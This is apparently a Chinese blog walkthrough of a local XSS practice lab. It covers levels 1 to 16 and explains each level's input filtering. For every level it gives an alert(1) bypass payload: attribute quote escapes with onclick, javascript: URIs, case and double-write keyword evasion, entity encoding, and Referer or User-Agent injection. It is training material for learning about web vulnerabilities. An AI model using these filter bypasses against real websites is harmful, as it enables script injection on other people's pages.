赞
踩
我们发现,当我们更改name等于不同的值时,有不同的返回结果,因此在这里可能有xss漏洞
然后直接进行测试,在name后面加入xss攻击语句
<script>alert(1)</script>
直接使用"闭合value,然后添加一个onclick事件即可
同时观察到input标签里面的value元素可以尝试突破,逃出引号后,可以使用事件来闭合后面的引号,这里距离onclick事件,当点击输入框后,执行这个弹窗
1" onclick="alert(1)
我们查看代码发现多了htmlspecialchars()函数,它的主要作用是将特殊字符转换为 HTML 实体。这样做的目的是为了在 HTML 页面中显示这些字符串时,能够避免特殊字符被错误地解释为 HTML 标签或其他 HTML 代码的一部分,从而增强网站的安全性。
但是这个不加参数 默认是只编码双引号的!默认只编码双引号!
所以我们的<>被转成了<和>就不能被后端JS使用了,为了不能干扰前端页面显示,所以编码成了HTML实体编码,从而不影响页面的显示
我们发现在value之中也使用了转义函数。但是value的闭合还是单引号,不过没有加ENT_QUOTES参数,导致了单引号仍然可以绕过。
1' onclick='alert(1)
使用上面的payload直接可以弹窗
查看源码发现,过滤了<>符号,我们直接使用事件来做就可以绕过
1" onclick="alert(1)
查看源码发现把<script>转换成了<scr_ipt>,把on转成了o_n,这俩不能用了,换个标签呗
我们使用JavaScript的伪协议绕过,在a标签里面使用alert()即可
1'"> <a href="javascript:alert(1)">"'test</a>
查看源码,过滤了多种常用的单词
直接使用大小写绕过
1'"> <a HRef="javaSCRipt:alert(1)">"'test</a>
直接看源码,将敏感词直接替换成空格,那直接双写绕过即可
1'"> <a hrhrefef="javascrscriptipt:alert(1)">"'test</a>
双写了href和script
查看源码,发现value闭合不了了,并且很多敏感词替换了
使用编码方式绕过,因为存在于一个a标签中,直接编码javascript:alert(1)为html实体编码
javascript:alert(1)编码后:
javascript:alert(1)
代码中多了检测http://的功能,我们输入的字符串必须含有http://
javascript:alert('http://')
查看代码,发现input的属性被隐藏了,我们要更改这个属性,并且在value中使用xss
没有禁用onclick事件,我们直接GET传参t_short=1,加上事件,然后将属性改为text(area也行)
?t_sort="1" onclick=alert(1) type="text"
查看代码,发现多了个HTTP_REFERER,$33没有过滤,我们从这下手
直接在referer字段中逃出引号,然后用onclick事件触发xss
1" onclick=alert(1) type="text"
查看代码,和上一关差别不大,使用了UA字段罢了
直接看源码,用了cookie
直接改
这关直接包含别的含有xss漏洞的页面
http://127.0.0.1/xss/level15.php?src='level1.php?name=<img src=1 onerror=alert(1)>'
代码中过滤了空格,使用空格绕过
http://127.0.0.1/xss/level16.php?keyword=<img%0dsrc=1%0donerror=alert(1)>
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。